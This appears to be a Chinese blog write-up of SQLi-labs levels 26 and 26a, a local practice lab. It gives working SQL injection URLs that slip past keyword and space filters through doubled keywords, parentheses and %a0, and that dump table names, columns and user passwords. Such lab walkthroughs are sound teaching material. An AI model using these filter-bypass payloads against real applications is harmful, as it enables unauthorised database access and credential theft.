第二十六关
![](https://img-blog.csdnimg.cn/eb184a67f39045ad94b7e7c0be4bd7a6.png)
GET类型基于你所有的空格和言论都是属于我的错误
1.判断注入点
根据提示,sql语句应该存在过滤
![](https://img-blog.csdnimg.cn/18edff9788744a72b80ac9da0ae9a11e.png)
观察源代码发现存在or,and,/*,--,#,空格,斜杠过滤
绕过方法:
Or,and 采取双写绕过
注释过滤:采取and ‘1闭合语句绕过
空格过滤:采取括号绕过1and1写成1(and)1
构造payload:
http://127.0.0.1:500/Less-26/?id=-1'anandd(extractvalue(1,0x7e))anandd '1
![](https://img-blog.csdnimg.cn/4932e60cac1145469e86ec519f0d10d9.png)
2.拖库(注意括号对称)
http://127.0.0.1:500/Less-26/?id=-1'anandd(extractvalue(1,concat(0x7e,database())))anandd '1
![](https://img-blog.csdnimg.cn/09d53109ef3a4354815fbe55b8ffdd49.png)
3.拖表(千万注意括号,from,where不用加)
http://127.0.0.1:500/Less-26/?id=-1'anandd(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')))))anandd '1
![](https://img-blog.csdnimg.cn/428beb804cd7495eb980fd7884efe6e2.png)
4.拖列
http://127.0.0.1:500/Less-26/?id=-1'anandd(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema='security')anandd(table_name='users'))))))anandd '1
![](https://img-blog.csdnimg.cn/c2d6db91e6b74fd1b10ee8266a5d3390.png)
5.拖数据
http://127.0.0.1:500/Less-26/?id=-1'anandd(extractvalue(1,concat(0x7e,(select(group_concat(id,username,passwoorrd))from(users)))))anandd '1
![](https://img-blog.csdnimg.cn/f772b02da7d44279bd712f3fe68f836f.png)
![](https://img-blog.csdnimg.cn/3adb83b4b5c6409a83e112a93488e122.png)
GET类型布尔盲注-你的空格,言论都属于我--单引号-括号
查看源码发现过滤
or and /* -- # 空格 /
or and 采取双写
/* -- # 采取and
空格 采取%a0
构造语句: http://127.0.0.1:500/Less-26a/?id=1')anandd('1
![](https://img-blog.csdnimg.cn/c27c9ac10ec44306a2b757865fc46eaa.png)
本机的sqllabless26a有问题,用的旧靶机上的(下好sqllab很重要)
http://192.168.0.106:82/Less-26a/?id=0')union%a0select%a01,2,3%a0anandd%a0('2
![](https://img-blog.csdnimg.cn/cd291cbf33de4c849da5e8c9b758b8c2.png)
拖库
http://192.168.0.106:82/Less-26a/?id=0')union%a0select%a05,database(),3%a0anandd%a0('2
![](https://img-blog.csdnimg.cn/50db7220ee8a411e890c6ab1afe1ed39.png)
拖操作系统
http://192.168.0.106:82/Less-26a/?id=0')union%a0select%a01,@@version_compile_os,3%a0anandd%a0('2![](https://img-blog.csdnimg.cn/1f6c9459f2144e72908587e43237b519.png)
剩下的操作大同小异了,把命令改一改就行了
拖表:union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’
拖列:union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=’security’ and table_name=’users’
拖数据:union select 1,group_concat(id,username,password) from users